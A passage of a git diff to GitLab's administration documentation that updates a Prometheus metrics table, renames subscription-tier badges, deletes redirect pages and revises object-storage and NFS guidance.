complete | `worker` | -| `job_waiter_timeouts_total` | Counter | 12.9 | Number of batches of jobs that timed out where a web request is waiting for the jobs to complete | `worker` | -| `gitlab_database_transaction_seconds` | Histogram | 12.1 | Time spent in database transactions, in seconds | | -| `gitlab_method_call_duration_seconds` | Histogram | 10.2 | Method calls real duration | `controller`, `action`, `module`, `method` | -| `gitlab_page_out_of_bounds` | Counter | 12.8 | Counter for the PageLimiter pagination limit being hit | `controller`, `action`, `bot` | -| `gitlab_rails_queue_duration_seconds` | Histogram | 9.4 | Measures latency between GitLab Workhorse forwarding a request to Rails | | -| `gitlab_sql_duration_seconds` | Histogram | 10.2 | SQL execution time, excluding `SCHEMA` operations and `BEGIN` / `COMMIT` | | -| `gitlab_ruby_threads_max_expected_threads` | Gauge | 13.3 | Maximum number of threads expected to be running and performing application work | -| `gitlab_ruby_threads_running_threads` | Gauge | 13.3 | Number of running Ruby threads by name | -| `gitlab_transaction_cache_<key>_count_total` | Counter | 10.2 | Counter for total Rails cache calls (per key) | | -| `gitlab_transaction_cache_<key>_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (per key) | | -| `gitlab_transaction_cache_count_total` | Counter | 10.2 | Counter for total Rails cache calls (aggregate) | | -| `gitlab_transaction_cache_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (aggregate) | | -| `gitlab_transaction_cache_read_hit_count_total` | Counter | 10.2 | Counter for cache hits for Rails cache calls | `controller`, `action` | -| `gitlab_transaction_cache_read_miss_count_total` | Counter | 10.2 | Counter for cache misses for Rails cache calls | `controller`, `action` | -| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for all transactions (`gitlab_transaction_*` metrics) | `controller`, `action` | -| `gitlab_transaction_event_build_found_total` | Counter | 9.4 | Counter for build found for API /jobs/request | | -| `gitlab_transaction_event_build_invalid_total` | Counter | 9.4 | Counter for build invalid due to concurrency conflict for API /jobs/request | | -| `gitlab_transaction_event_build_not_found_cached_total` | Counter | 9.4 | Counter for cached response of build not found for API /jobs/request | | -| `gitlab_transaction_event_build_not_found_total` | Counter | 9.4 | Counter for build not found for API /jobs/request | | -| `gitlab_transaction_event_change_default_branch_total` | Counter | 9.4 | Counter when default branch is changed for any repository | | -| `gitlab_transaction_event_create_repository_total` | Counter | 9.4 | Counter when any repository is created | | -| `gitlab_transaction_event_etag_caching_cache_hit_total` | Counter | 9.4 | Counter for ETag cache hit. | `endpoint` | -| `gitlab_transaction_event_etag_caching_header_missing_total` | Counter | 9.4 | Counter for ETag cache miss - header missing | `endpoint` | -| `gitlab_transaction_event_etag_caching_key_not_found_total` | Counter | 9.4 | Counter for ETag cache miss - key not found | `endpoint` | -| `gitlab_transaction_event_etag_caching_middleware_used_total` | Counter | 9.4 | Counter for ETag middleware accessed | `endpoint` | -| `gitlab_transaction_event_etag_caching_resource_changed_total` | Counter | 9.4 | Counter for ETag cache miss - resource changed | `endpoint` | -| `gitlab_transaction_event_fork_repository_total` | Counter | 9.4 | Counter for repository forks (RepositoryForkWorker). Only incremented when source repository exists | | -| `gitlab_transaction_event_import_repository_total` | Counter | 9.4 | Counter for repository imports (RepositoryImportWorker) | | -| `gitlab_transaction_event_push_branch_total` | Counter | 9.4 | Counter for all branch pushes | | -| `gitlab_transaction_event_push_commit_total` | Counter | 9.4 | Counter for commits | `branch` | -| `gitlab_transaction_event_push_tag_total` | Counter | 9.4 | Counter for tag pushes | | -| `gitlab_transaction_event_rails_exception_total` | Counter | 9.4 | Counter for number of rails exceptions | | -| `gitlab_transaction_event_receive_email_total` | Counter | 9.4 | Counter for received emails | `handler` | -| `gitlab_transaction_event_remote_mirrors_failed_total` | Counter | 10.8 | Counter for failed remote mirrors | | -| `gitlab_transaction_event_remote_mirrors_finished_total` | Counter | 10.8 | Counter for finished remote mirrors | | -| `gitlab_transaction_event_remote_mirrors_running_total` | Counter | 10.8 | Counter for running remote mirrors | | -| `gitlab_transaction_event_remove_branch_total` | Counter | 9.4 | Counter when a branch is removed for any repository | | -| `gitlab_transaction_event_remove_repository_total` | Counter | 9.4 | Counter when a repository is removed | | -| `gitlab_transaction_event_remove_tag_total` | Counter | 9.4 | Counter when a tag is remove for any repository | | -| `gitlab_transaction_event_sidekiq_exception_total` | Counter | 9.4 | Counter of Sidekiq exceptions | | -| `gitlab_transaction_event_stuck_import_jobs_total` | Counter | 9.4 | Count of stuck import jobs | `projects_without_jid_count`, `projects_with_jid_count` | -| `gitlab_transaction_event_update_build_total` | Counter | 9.4 | Counter for update build for API `/jobs/request/:id` | | -| `gitlab_transaction_new_redis_connections_total` | Counter | 9.4 | Counter for new Redis connections | | -| `gitlab_transaction_queue_duration_total` | Counter | 9.4 | Duration jobs were enqueued before processing | | -| `gitlab_transaction_rails_queue_duration_total` | Counter | 9.4 | Measures latency between GitLab Workhorse forwarding a request to Rails | `controller`, `action` | -| `gitlab_transaction_view_duration_total` | Counter | 9.4 | Duration for views | `controller`, `action`, `view` | -| `gitlab_view_rendering_duration_seconds` | Histogram | 10.2 | Duration for views (histogram) | `controller`, `action`, `view` | -| `http_requests_total` | Counter | 9.4 | Rack request count | `method`, `status` | -| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware | `method` | -| `gitlab_transaction_db_count_total` | Counter | 13.1 | Counter for total number of SQL calls | `controller`, `action` | -| `gitlab_transaction_db_write_count_total` | Counter | 13.1 | Counter for total number of write SQL calls | `controller`, `action` | -| `gitlab_transaction_db_cached_count_total` | Counter | 13.1 | Counter for total number of cached SQL calls | `controller`, `action` | -| `http_elasticsearch_requests_duration_seconds` **(STARTER)** | Histogram | 13.1 | Elasticsearch requests duration during web transactions | `controller`, `action` | -| `http_elasticsearch_requests_total` **(STARTER)** | Counter | 13.1 | Elasticsearch requests count during web transactions | `controller`, `action` | -| `pipelines_created_total` | Counter | 9.4 | Counter of pipelines created | | -| `rack_uncaught_errors_total` | Counter | 9.4 | Rack connections handling uncaught errors count | | -| `user_session_logins_total` | Counter | 9.4 | Counter of how many users have logged in since GitLab was started or restarted | | -| `upload_file_does_not_exist` | Counter | 10.7 in EE, 11.5 in CE | Number of times an upload record could not find its file | | -| `failed_login_captcha_total` | Gauge | 11.0 | Counter of failed CAPTCHA attempts during login | | -| `successful_login_captcha_total` | Gauge | 11.0 | Counter of successful CAPTCHA attempts during login | | -| `auto_devops_pipelines_completed_total` | Counter | 12.7 | Counter of completed Auto DevOps pipelines, labeled by status | | -| `gitlab_metrics_dashboard_processing_time_ms` | Summary | 12.10 | Metrics dashboard processing time in milliseconds | service, stages | -| `action_cable_active_connections` | Gauge | 13.4 | Number of ActionCable WS clients currently connected | `server_mode` | -| `action_cable_pool_min_size` | Gauge | 13.4 | Minimum number of worker threads in ActionCable thread pool | `server_mode` | -| `action_cable_pool_max_size` | Gauge | 13.4 | Maximum number of worker threads in ActionCable thread pool | `server_mode` | -| `action_cable_pool_current_size` | Gauge | 13.4 | Current number of worker threads in ActionCable thread pool | `server_mode` | -| `action_cable_pool_largest_size` | Gauge | 13.4 | Largest number of worker threads observed so far in ActionCable thread pool | `server_mode` | -| `action_cable_pool_pending_tasks` | Gauge | 13.4 | Number of tasks waiting to be executed in ActionCable thread pool | `server_mode` | -| `action_cable_pool_tasks_total` | Gauge | 13.4 | Total number of tasks executed in ActionCable thread pool | `server_mode` | -| `gitlab_issuable_fast_count_by_state_total` | Counter | 13.5 | Total number of row count operations on issue/merge request list pages | | -| `gitlab_issuable_fast_count_by_state_failures_total` | Counter | 13.5 | Number of soft-failed row count operations on issue/merge request list pages | | +| Metric | Type | Since | Description | Labels | +|:---------------------------------------------------------------|:----------|------:|:------------------------------------------------------------------------------------------------------|:--------------------------------------------------------| +| `gitlab_banzai_cached_render_real_duration_seconds` | Histogram | 9.4 | Duration of rendering Markdown into HTML when cached output exists | `controller`, `action` | +| `gitlab_banzai_cacheless_render_real_duration_seconds` | Histogram | 9.4 | Duration of rendering Markdown into HTML when cached output does not exist | `controller`, `action` | +| `gitlab_cache_misses_total` | Counter | 10.2 | Cache read miss | `controller`, `action` | +| `gitlab_cache_operation_duration_seconds` | Histogram | 10.2 | Cache access time | | +| `gitlab_cache_operations_total` | Counter | 12.2 | Cache operations by controller or action | `controller`, `action`, `operation` | +| `gitlab_ci_pipeline_creation_duration_seconds` | Histogram | 13.0 | Time in seconds it takes to create a CI/CD pipeline | | +| `gitlab_ci_pipeline_size_builds` | Histogram | 13.1 | Total number of builds within a pipeline grouped by a pipeline source | `source` | +| `job_waiter_started_total` | Counter | 12.9 | Number of batches of jobs started where a web request is waiting for the jobs to complete | `worker` | +| `job_waiter_timeouts_total` | Counter | 12.9 | Number of batches of jobs that timed out where a web request is waiting for the jobs to complete | `worker` | +| `gitlab_database_transaction_seconds` | Histogram | 12.1 | Time spent in database transactions, in seconds | | +| `gitlab_method_call_duration_seconds` | Histogram | 10.2 | Method calls real duration | `controller`, `action`, `module`, `method` | +| `gitlab_page_out_of_bounds` | Counter | 12.8 | Counter for the PageLimiter pagination limit being hit | `controller`, `action`, `bot` | +| `gitlab_rails_queue_duration_seconds` | Histogram | 9.4 | Measures latency between GitLab Workhorse forwarding a request to Rails | | +| `gitlab_sql_duration_seconds` | Histogram | 10.2 | SQL execution time, excluding `SCHEMA` operations and `BEGIN` / `COMMIT` | | +| `gitlab_ruby_threads_max_expected_threads` | Gauge | 13.3 | Maximum number of threads expected to be running and performing application work | | +| `gitlab_ruby_threads_running_threads` | Gauge | 13.3 | Number of running Ruby threads by name | | +| `gitlab_transaction_cache_<key>_count_total` | Counter | 10.2 | Counter for total Rails cache calls (per key) | | +| `gitlab_transaction_cache_<key>_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (per key) | | +| `gitlab_transaction_cache_count_total` | Counter | 10.2 | Counter for total Rails cache calls (aggregate) | | +| `gitlab_transaction_cache_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (aggregate) | | +| `gitlab_transaction_cache_read_hit_count_total` | Counter | 10.2 | Counter for cache hits for Rails cache calls | `controller`, `action` | +| `gitlab_transaction_cache_read_miss_count_total` | Counter | 10.2 | Counter for cache misses for Rails cache calls | `controller`, `action` | +| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for all transactions (`gitlab_transaction_*` metrics) | `controller`, `action` | +| `gitlab_transaction_event_build_found_total` | Counter | 9.4 | Counter for build found for API /jobs/request | | +| `gitlab_transaction_event_build_invalid_total` | Counter | 9.4 | Counter for build invalid due to concurrency conflict for API /jobs/request | | +| `gitlab_transaction_event_build_not_found_cached_total` | Counter | 9.4 | Counter for cached response of build not found for API /jobs/request | | +| `gitlab_transaction_event_build_not_found_total` | Counter | 9.4 | Counter for build not found for API /jobs/request | | +| `gitlab_transaction_event_change_default_branch_total` | Counter | 9.4 | Counter when default branch is changed for any repository | | +| `gitlab_transaction_event_create_repository_total` | Counter | 9.4 | Counter when any repository is created | | +| `gitlab_transaction_event_etag_caching_cache_hit_total` | Counter | 9.4 | Counter for ETag cache hit. | `endpoint` | +| `gitlab_transaction_event_etag_caching_header_missing_total` | Counter | 9.4 | Counter for ETag cache miss - header missing | `endpoint` | +| `gitlab_transaction_event_etag_caching_key_not_found_total` | Counter | 9.4 | Counter for ETag cache miss - key not found | `endpoint` | +| `gitlab_transaction_event_etag_caching_middleware_used_total` | Counter | 9.4 | Counter for ETag middleware accessed | `endpoint` | +| `gitlab_transaction_event_etag_caching_resource_changed_total` | Counter | 9.4 | Counter for ETag cache miss - resource changed | `endpoint` | +| `gitlab_transaction_event_fork_repository_total` | Counter | 9.4 | Counter for repository forks (RepositoryForkWorker). Only incremented when source repository exists | | +| `gitlab_transaction_event_import_repository_total` | Counter | 9.4 | Counter for repository imports (RepositoryImportWorker) | | +| `gitlab_transaction_event_patch_hard_limit_bytes_hit_total` | Counter | 13.9 | Counter for diff patch size limit hits | | +| `gitlab_transaction_event_push_branch_total` | Counter | 9.4 | Counter for all branch pushes | | +| `gitlab_transaction_event_push_commit_total` | Counter | 9.4 | Counter for commits | `branch` | +| `gitlab_transaction_event_push_tag_total` | Counter | 9.4 | Counter for tag pushes | | +| `gitlab_transaction_event_rails_exception_total` | Counter | 9.4 | Counter for number of rails exceptions | | +| `gitlab_transaction_event_receive_email_total` | Counter | 9.4 | Counter for received emails | `handler` | +| `gitlab_transaction_event_remote_mirrors_failed_total` | Counter | 10.8 | Counter for failed remote mirrors | | +| `gitlab_transaction_event_remote_mirrors_finished_total` | Counter | 10.8 | Counter for finished remote mirrors | | +| `gitlab_transaction_event_remote_mirrors_running_total` | Counter | 10.8 | Counter for running remote mirrors | | +| `gitlab_transaction_event_remove_branch_total` | Counter | 9.4 | Counter when a branch is removed for any repository | | +| `gitlab_transaction_event_remove_repository_total` | Counter | 9.4 | Counter when a repository is removed | | +| `gitlab_transaction_event_remove_tag_total` | Counter | 9.4 | Counter when a tag is remove for any repository | | +| `gitlab_transaction_event_sidekiq_exception_total` | Counter | 9.4 | Counter of Sidekiq exceptions | | +| `gitlab_transaction_event_stuck_import_jobs_total` | Counter | 9.4 | Count of stuck import jobs | `projects_without_jid_count`, `projects_with_jid_count` | +| `gitlab_transaction_event_update_build_total` | Counter | 9.4 | Counter for update build for API `/jobs/request/:id` | | +| `gitlab_transaction_new_redis_connections_total` | Counter | 9.4 | Counter for new Redis connections | | +| `gitlab_transaction_queue_duration_total` | Counter | 9.4 | Duration jobs were enqueued before processing | | +| `gitlab_transaction_rails_queue_duration_total` | Counter | 9.4 | Measures latency between GitLab Workhorse forwarding a request to Rails | `controller`, `action` | +| `gitlab_transaction_view_duration_total` | Counter | 9.4 | Duration for views | `controller`, `action`, `view` | +| `gitlab_view_rendering_duration_seconds` | Histogram | 10.2 | Duration for views (histogram) | `controller`, `action`, `view` | +| `http_requests_total` | Counter | 9.4 | Rack request count | `method`, `status` | +| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware | `method` | +| `gitlab_transaction_db_count_total` | Counter | 13.1 | Counter for total number of SQL calls | `controller`, `action` | +| `gitlab_transaction_db_write_count_total` | Counter | 13.1 | Counter for total number of write SQL calls | `controller`, `action` | +| `gitlab_transaction_db_cached_count_total` | Counter | 13.1 | Counter for total number of cached SQL calls | `controller`, `action` | +| `http_elasticsearch_requests_duration_seconds` **(PREMIUM)** | Histogram | 13.1 | Elasticsearch requests duration during web transactions | `controller`, `action` | +| `http_elasticsearch_requests_total` **(PREMIUM)** | Counter | 13.1 | Elasticsearch requests count during web transactions | `controller`, `action` | +| `pipelines_created_total` | Counter | 9.4 | Counter of pipelines created | | +| `rack_uncaught_errors_total` | Counter | 9.4 | Rack connections handling uncaught errors count | | +| `user_session_logins_total` | Counter | 9.4 | Counter of how many users have logged in since GitLab was started or restarted | | +| `upload_file_does_not_exist` | Counter | 10.7 | Number of times an upload record could not find its file. Made available in all tiers in GitLab 11.5. | | +| `failed_login_captcha_total` | Gauge | 11.0 | Counter of failed CAPTCHA attempts during login | | +| `successful_login_captcha_total` | Gauge | 11.0 | Counter of successful CAPTCHA attempts during login | | +| `auto_devops_pipelines_completed_total` | Counter | 12.7 | Counter of completed Auto DevOps pipelines, labeled by status | | +| `gitlab_metrics_dashboard_processing_time_ms` | Summary | 12.10 | Metrics dashboard processing time in milliseconds | service, stages | +| `action_cable_active_connections` | Gauge | 13.4 | Number of ActionCable WS clients currently connected | `server_mode` | +| `action_cable_pool_min_size` | Gauge | 13.4 | Minimum number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_max_size` | Gauge | 13.4 | Maximum number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_current_size` | Gauge | 13.4 | Current number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_largest_size` | Gauge | 13.4 | Largest number of worker threads observed so far in ActionCable thread pool | `server_mode` | +| `action_cable_pool_pending_tasks` | Gauge | 13.4 | Number of tasks waiting to be executed in ActionCable thread pool | `server_mode` | +| `action_cable_pool_tasks_total` | Gauge | 13.4 | Total number of tasks executed in ActionCable thread pool | `server_mode` | +| `gitlab_issuable_fast_count_by_state_total` | Counter | 13.5 | Total number of row count operations on issue/merge request list pages | | +| `gitlab_issuable_fast_count_by_state_failures_total` | Counter | 13.5 | Number of soft-failed row count operations on issue/merge request list pages | | +| `gitlab_external_http_total` | Counter | 13.8 | Total number of HTTP calls to external systems | `controller`, `action` | +| `gitlab_external_http_duration_seconds` | Counter | 13.8 | Duration in seconds spent on each HTTP call to external systems | | +| `gitlab_external_http_exception_total` | Counter | 13.8 | Total number of exceptions raised when making external HTTP calls | | +| `ci_report_parser_duration_seconds` | Histogram | 13.9 | Time to parse CI/CD report artifacts | `parser` | +| `pipeline_graph_link_calculation_duration_seconds` | Histogram | 13.9 | Total time spent calculating links, in seconds | | +| `pipeline_graph_links_total` | Histogram | 13.9 | Number of links per graph | | +| `pipeline_graph_links_per_job_ratio` | Histogram | 13.9 | Ratio of links to job per graph | | ## Metrics controlled by a feature flag @@ -212,7 +220,7 @@ configuration option in `gitlab.yml`. These metrics are served from the | `destroyed_job_artifacts_count_total` | Counter | 13.6 | Number of destroyed expired job artifacts | | | `destroyed_pipeline_artifacts_count_total` | Counter | 13.8 | Number of destroyed expired pipeline artifacts | | -## Database load balancing metrics **(PREMIUM ONLY)** +## Database load balancing metrics **(PREMIUM SELF)** The following metrics are available: @@ -220,7 +228,7 @@ The following metrics are available: |:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- | | `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | -## Database partitioning metrics **(PREMIUM ONLY)** +## Database partitioning metrics **(PREMIUM SELF)** The following metrics are available: diff --git a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md deleted file mode 100644 index 8fa2e16dcd0..00000000000 --- a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'gitlab_exporter.md' ---- - -This document was moved to [another location](gitlab_exporter.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md index 80ddb87e727..23bffae99cf 100644 --- a/doc/administration/monitoring/prometheus/index.md +++ b/doc/administration/monitoring/prometheus/index.md @@ -4,7 +4,12 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring GitLab with Prometheus +# Monitoring GitLab with Prometheus **(FREE SELF)** + +[Prometheus](https://prometheus.io) is a powerful time-series monitoring service, providing a flexible +platform for monitoring GitLab and other software products. +GitLab provides out-of-the-box monitoring with Prometheus, providing easy +access to high quality time-series monitoring of GitLab services. > **Notes:** > @@ -16,11 +21,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - Prometheus and its exporters don't authenticate users, and are available > to anyone who can access them. -[Prometheus](https://prometheus.io) is a powerful time-series monitoring service, providing a flexible -platform for monitoring GitLab and other software products. -GitLab provides out of the box monitoring with Prometheus, providing easy -access to high quality time-series monitoring of GitLab services. - ## Overview Prometheus works by periodically connecting to data sources and collecting their diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md index f27912d5806..6efc9d67e8d 100644 --- a/doc/administration/monitoring/prometheus/node_exporter.md +++ b/doc/administration/monitoring/prometheus/node_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Node exporter +# Node exporter **(FREE SELF)** The [node exporter](https://github.com/prometheus/node_exporter) enables you to measure various machine resources such as memory, disk and CPU utilization. diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md index 0dffad59793..df2aa08efaa 100644 --- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md +++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# PgBouncer exporter +# PgBouncer exporter **(FREE SELF)** > Introduced in [Omnibus GitLab 11.0](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2493). diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md index 8bc61ff53bb..8b6d3d82018 100644 --- a/doc/administration/monitoring/prometheus/postgres_exporter.md +++ b/doc/administration/monitoring/prometheus/postgres_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# PostgreSQL Server Exporter +# PostgreSQL Server Exporter **(FREE SELF)** The [PostgreSQL Server Exporter](https://github.com/wrouesnel/postgres_exporter) allows you to export various PostgreSQL metrics. diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md index 03c215625ec..e9d656a6493 100644 --- a/doc/administration/monitoring/prometheus/redis_exporter.md +++ b/doc/administration/monitoring/prometheus/redis_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Redis exporter +# Redis exporter **(FREE SELF)** The [Redis exporter](https://github.com/oliver006/redis_exporter) enables you to measure various [Redis](https://redis.io) metrics. For more information on what is exported, diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md index 009d94491f3..d2bd86aa908 100644 --- a/doc/administration/monitoring/prometheus/registry_exporter.md +++ b/doc/administration/monitoring/prometheus/registry_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Registry exporter +# Registry exporter **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2884) in GitLab 11.9. diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index bddf770180b..a7009b702ed 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -20,10 +20,10 @@ From GitLab 14.0, technical support for NFS for Git repositories will no longer be provided. Upgrade to [Gitaly Cluster](gitaly/praefect.md) as soon as possible. -Filesystem performance can impact overall GitLab performance, especially for +File system performance can impact overall GitLab performance, especially for actions that read or write to Git repositories. For steps you can use to test -filesystem performance, see -[Filesystem Performance Benchmarking](operations/filesystem_benchmarking.md). +file system performance, see +[File system Performance Benchmarking](operations/filesystem_benchmarking.md). ## Known kernel version incompatibilities @@ -408,7 +408,7 @@ For supported database architecture, see our documentation about ### Finding the requests that are being made to NFS In case of NFS-related problems, it can be helpful to trace -the filesystem requests that are being made by using `perf`: +the file system requests that are being made by using `perf`: ```shell sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn) diff --git a/doc/administration/npm_registry.md b/doc/administration/npm_registry.md deleted file mode 100644 index 690b6785941..00000000000 --- a/doc/administration/npm_registry.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/index.md' ---- - -This document was moved to [another location](packages/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 999d9b87363..3cad18dc497 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -75,8 +75,7 @@ types. If you want to use local storage for specific object types, you can Most types of objects, such as CI artifacts, LFS files, upload attachments, and so on can be saved in object storage by specifying a single -credential for object storage with multiple buckets. A [different bucket -for each type must be used](#use-separate-buckets). +credential for object storage with multiple buckets. When the consolidated form is: @@ -551,19 +550,18 @@ supported by consolidated configuration form, refer to the following guides: | [Merge request diffs](merge_request_diffs.md#using-object-storage) | Yes | | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](packages/index.md#using-object-storage) (optional feature) | Yes | -| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM ONLY)** | Yes | -| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM SELF)** | Yes | +| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](terraform_state.md#using-object-storage) | Yes | | [GitLab Pages content](pages/index.md#using-object-storage) | Yes | -### Other alternatives to filesystem storage +### Other alternatives to file system storage If you're working to [scale out](reference_architectures/index.md) your GitLab implementation, or add fault tolerance and redundancy, you may be -looking at removing dependencies on block or network filesystems. -See the following additional guides and -[note that Pages requires disk storage](#gitlab-pages-requires-nfs): +looking at removing dependencies on block or network file systems. +See the following additional guides: 1. Make sure the [`git` user home directory](https://docs.gitlab.com/omnibus/settings/configuration.html#moving-the-home-directory-for-a-user) is on local disk. 1. Configure [database lookup of SSH keys](operations/fast_ssh_key_lookup.md) @@ -572,22 +570,13 @@ See the following additional guides and ## Warnings, limitations, and known issues -### Use separate buckets +### Separate buckets required when using Helm -Using separate buckets for each data type is the recommended approach for GitLab. +Generally, using the same bucket for your Object Storage is fine to do +for convenience. -A limitation of our configuration is that each use of object storage is separately configured. -[We have an issue for improving this](https://gitlab.com/gitlab-org/gitlab/-/issues/23345) -and easily using one bucket with separate folders is one improvement that this might bring. - -There is at least one specific issue with using the same bucket: -when GitLab is deployed with the Helm chart restore from backup -[will not properly function](https://docs.gitlab.com/charts/advanced/external-object-storage/#lfs-artifacts-uploads-packages-external-diffs-pseudonymizer) -unless separate buckets are used. - -One risk of using a single bucket would be that if your organisation decided to -migrate GitLab to the Helm deployment in the future. GitLab would run, but the situation with -backups might not be realised until the organisation had a critical requirement for the backups to work. +However, if you're using or planning to use Helm, separate buckets will +be required as there is a [known limitation with restorations of Helm chart backups](https://docs.gitlab.com/charts/advanced/external-object-storage/#lfs-artifacts-uploads-packages-external-diffs-pseudonymizer). ### S3 API compatibility issues @@ -598,17 +587,6 @@ with the Fog library that GitLab uses. Symptoms include an error in `production. 411 Length Required ``` -### GitLab Pages requires NFS - -If you're working to add more GitLab servers for [scaling or fault tolerance](reference_architectures/index.md) -and one of your requirements is [GitLab Pages](../user/project/pages/index.md) this currently requires -NFS. There is [work in progress](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196) -to remove this dependency. In the future, GitLab Pages may use -[object storage](https://gitlab.com/gitlab-org/gitlab/-/issues/208135). - -The dependency on disk storage also prevents Pages being deployed using the -[GitLab Helm chart](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/37). - ### Incremental logging is required for CI to use object storage If you configure GitLab to use object storage for CI logs and artifacts, diff --git a/doc/administration/operations.md b/doc/administration/operations.md deleted file mode 100644 index cfabb5ec27d..00000000000 --- a/doc/administration/operations.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'operations/index.md' ---- - -This document was moved to [another location](operations/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md index 1b7c0edab04..d07afb3bb14 100644 --- a/doc/administration/operations/extra_sidekiq_processes.md +++ b/doc/administration/operations/extra_sidekiq_processes.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Run multiple Sidekiq processes **(CORE ONLY)** +# Run multiple Sidekiq processes **(FREE SELF)** GitLab allows you to start multiple Sidekiq processes. These processes can be used to consume a dedicated set @@ -27,7 +27,7 @@ can be started. ## Start multiple processes > - [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4006) in GitLab 12.10, starting multiple processes with Sidekiq cluster. -> - [Sidekiq cluster moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab [Core](https://about.gitlab.com/pricing/#self-managed) in GitLab 12.10. +> - [Sidekiq cluster moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab Free in 12.10. > - [Sidekiq cluster became default](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4140) in GitLab 13.0. To start multiple processes: @@ -112,8 +112,8 @@ you list: ## Queue selector -> - [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/45) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. -> - [Sidekiq cluster including queue selector moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab [Core](https://about.gitlab.com/pricing/#self-managed) in GitLab 12.10. +> - [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/45) in GitLab 12.8. +> - [Sidekiq cluster, including queue selector, moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab Free in 12.10. > - [Renamed from `experimental_queue_selector` to 